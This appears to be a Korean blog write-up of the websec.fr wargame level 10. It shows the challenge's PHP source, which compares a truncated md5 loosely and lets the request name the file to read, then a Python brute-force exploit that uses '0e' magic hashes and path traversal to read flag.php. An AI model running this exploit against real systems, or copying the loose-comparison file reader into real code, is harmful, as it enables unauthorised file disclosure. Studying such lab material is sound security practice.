source.php
<?php include "flag.php"; ?>
<!DOCTYPE html>
<html>
<head>
<title>#WebSec Level Ten</title>
<link rel="stylesheet" href="../static/bootstrap.min.css"/>
</head>
<body>
<div id="main">
<div class="container">
<div class="row">
<h1>LevelTen<small> - Awesome File Downloader.</small></h1>
</div>
<div class="row">
<p class="lead">
Here we have a <a href="source.php">cool file downloader</a>. It allows you to download arbitrary files, even <mark>flag.php</mark>,
as long as it's a legit request!<br>
Thanks to an <mark>anonymous contributor</mark> for this challenge.
</p>
</div>
</div>
<div class="container">
<div class="row">
<form name="username" method="post" class="form-inline">
<div class="form-group">
<label for="f">File</label>
<span class='text-success'></span>
<input type="text" class="form-control" required id="f" value="index.php" name="f">
</div>
<div class="form-group">
<label for="hash">Secret hash</label>
<input type="text" class="form-control" required id="hash" value="<?php echo substr (md5 ($flag . 'index.php' . $flag), 0, 8); ?>" name="hash" >
</div>
<button type="submit" class="btn btn-default">Get!</button>
</form>
</div>
<?php
if (isset ($_REQUEST['f']) && isset ($_REQUEST['hash'])) {
$file = $_REQUEST['f'];
$request = $_REQUEST['hash'];
$hash = substr (md5 ($flag . $file . $flag), 0, 8);
echo '<div class="row"><br><pre>';
if ($request == $hash) {
show_source ($file);
} else {
echo 'Permission denied!';
}
echo '</pre></div>';
}
?>
</div>
</div>
<link rel="stylesheet" href="../static/bootstrap.min.js"/>
</body>
</html>
파일명이랑 임의의 플래그 문자열을 가지고 md5값을 만든다. 이걸 내가 보낸 hash랑 비교하는데 이 때 느슨한 비교를 하고있어서 0e 형태의 지수값을 반환하는 file명을 brute force해주면 된다. 반환된 md5값에서 앞 8자리만가지고 비교를해서 brute force로 금방 해결이 가능했다.
exploit.py
import multiprocessing
import urllib2
import urllib
def getFlag(num):
def request(payload):
url = "http://websec.fr/level10/index.php"
data = urllib.urlencode({"f": payload, "hash": "0e12345611111"})
request = urllib2.Request(url, data)
request.add_header("User-Agent","ozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.3")
response = urllib2.urlopen(request).read()
return response
strings="ijklmnop"
for j in range(0,len(strings)):
for i in range(num*500,(num*500)+500):
payload = strings[j]*i+"/../flag.php"
#print payload
result = request(payload)
#print result
if "Permission denied!".lower() not in result.lower():
print strings[j]
print result
exit(1)
if __name__=="__main__":
num_list = [0,1,2,3,4,5]
pool = multiprocessing.Pool(processes=8)
pool.map(getFlag,num_list)
pool.close()
pool.join()
'Wargame > websec.fr' 카테고리의 다른 글
Websec.kr easy level 15 (0) | 2018.03.08 |
---|---|
Websec.fr easy level 11 (0) | 2018.03.08 |
Websec.fr easy level 08 (0) | 2018.03.08 |
Websec.fr easy level 02 (0) | 2018.03.08 |
Websec.fr babysteps level17 (0) | 2018.03.08 |